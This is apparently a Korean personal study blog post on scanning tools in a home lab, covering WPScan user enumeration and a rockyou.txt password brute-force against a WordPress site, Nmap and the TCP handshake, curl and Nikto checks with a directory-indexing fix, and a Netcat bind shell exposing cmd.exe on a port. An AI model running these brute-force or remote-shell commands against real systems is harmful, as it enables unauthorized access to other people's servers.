보안 / 개발 챌린저가 목표

Scan 본문

IT Security/Web hacking Study

Scan

햄미은서 2020. 10. 27. 00:34

▶ Scan

  - 해킹 전에 시스템의 상태를 파악할 수 있는 도구가 있다면 좀 더 쉽게 목적을 이룰 수 있다.

    § 스캐닝 도구는 서버의 상태, 사양, 취약점 및 각종 정보를 쉽게 탐색하게 해준다.

     ☞ 이러한 도구를 실제 서버에 사용한다는 것은 곧 불법 해킹이기 때문에 사용에 신중을 기해야 한다.

 

▽ WPScan

  - 워드프레스 관련 취약점을 점검하는 도구.

  - 기존의 취약점을 데이터베이스화하여 사용자에게 취약 정보를 제공.

 

WPScan 주요 실행 옵션

  - # wpscan --url http://192.168.0.132/wordpress --enumerate p

 

  ① # wpscan --url http://192.168.0.132/wordpress -enumerate u

   를 이용하여 워드프레스의 사용자 정보 확인 가능.

사용자 : python, sean

 

  ② Kali에서 제공하는 wordlist를 사용하기 위하여

rockyou.txt.gz

   rockyou.txt.gz 의 압축을 해당 경로로 가서 풀어준다.

 

rockyou.txt 생성

   # cd /usr/share/wordlists/

   # gzip -d rockyou.txt.gz

 

  ③ # wpscan --url 192.168.0.132/wordpress -t 20 --passwords /usr/share/wordlists/rockyou.txt -U sean

wordlist를 통해 알아보기

   *명령어에서 wordlist 가 passwords 로 변경되어 확인 가능! (버전의 차이인 듯)

sean의 정보 획득

   *sean의 계정 생성 당시 패스워드를 thx1138로 설정하였고, 비밀번호는 암호화되어 저장되었다.

암호화 되어있는 sean의 패스워드

▼ Nmap

  - 가장 널리 알려진 네트워크 도구.

  - 해킹 뿐 아니라 시스템과 네트워크 관리에도 많이 쓰임. 네트워크 구성과 시스템 상태를 빠르게 파악.

  - 네트워크 환경에 따라 많은 변수를 제공. 공격자는 특정 옵션으로 상대방 서버에 기록을 남기지 않고 스캐닝 가능.

 

TCP의 3 Way 연결 과정

  ⓐ SYN              클라이언트는 서버로 SYN 신호를 보내 연결 혹은 세션 요청을 수행한다.

  ⓑ SYN + ACK     서버는 클라이언트에 SYN + ACK를 보내고 ACK 응답을 기다힌다.

  ⓒ ACK              클라이언트는 SYN + ACK를 받고 나서 ACK를 보내 연결을 수행한다.

 

  - 위의 ⓑ번째 단계는 보안상 매우 취약한 곳 중 하나.

  - 즉, 서버는 SYN + ACK를 보내고 클라이언트로부터 ACK를 기다린다. 이러한 상태를 half open 상태.

 

  ① PHP 서버 정보를 Namp이 아닌 curl 명령으로 확인하기.

php.ini 파일의 expose_php = Off

  # curl -I 192.168.0.132 를 하면

 

  ② 설정을 수정하고 다시 해보기.

php.ini 파일의 expose_php = On

  # crul -I 192.168.0.132 다시 해보면

  php 의 정보가 더 생성된 것을 알 수 있다.

  ⇒ Nmap 대신 안전한 방식으로 서버 정보를 볼 수 있지만 expose_php의 값에 따라 확인 가능한 정보가 제한적일 수 있다.

▼ Nikto

  - 웹 서버의 취약점을 분석하는 오픈소스.

  - 서버 공격을 위한 도구라기보다는 웹 서버의 잘못된 환경 설정이나 취약점 등을 점검.

 

  ① # nikto -h 192.168.0.132 -C all

디렉토리 인덱싱 되었다는 로그 발견

  ② 해당 서버의 디렉토리 인덱싱을 확인한 결과.

   - 서버 내의 특정 디렉토리가 그대로 노출되어 있음.

 

  ❗ 디렉토리 인덱싱 막아보기 ❗

  ① 서버의 디렉토리 인덱싱은 아파치 서버의 설정 파일인 httpd.conf 등에서 할 수 있음.

   - C:\APM_Setup\Server\Apache\conf\extra\httpd-autoindex.conf 에서 설정 가능.

Options Indexes : 디렉토리 인덱싱 옵션

  ② 옵션을 Options -Indexes 로 변경 후 아파치 서버 재 시작.

막기 성공!

▽ Netcat

  - 네트워크를 통해 데이터를 읽고 쓰는 도구.

 

  ① http://joncraton.org/files/nc111nt.zip을 통해 다운 받기

  ② 해당 디렉토리로 이동한 다음 명령어 치기

   > nc -l -p 12345 -e cmd.exe -L

  - 호스트가 12345번 포트 인바운드를 통해 listen 모드로 요청을 기다리며 cmd.exe 명령어를 실행하게 함.

 

  ③ Kali에서 다음 명령어를 통해 해당 호스트로 접속을 시도. test 디렉토리도 만들어보기.

   > nc 192.168.0.132 12345

  ④ test 폴더 생성 완료

 

'IT Security > Web hacking Study' 카테고리의 다른 글

HTML Injection  (0) 2020.11.10
Metasploit  (0) 2020.11.10
LFI & RFI  (0) 2020.10.15
SQL Injection  (0) 2020.10.15
PHP에 대한 전반적인 이해  (0) 2020.09.12
Comments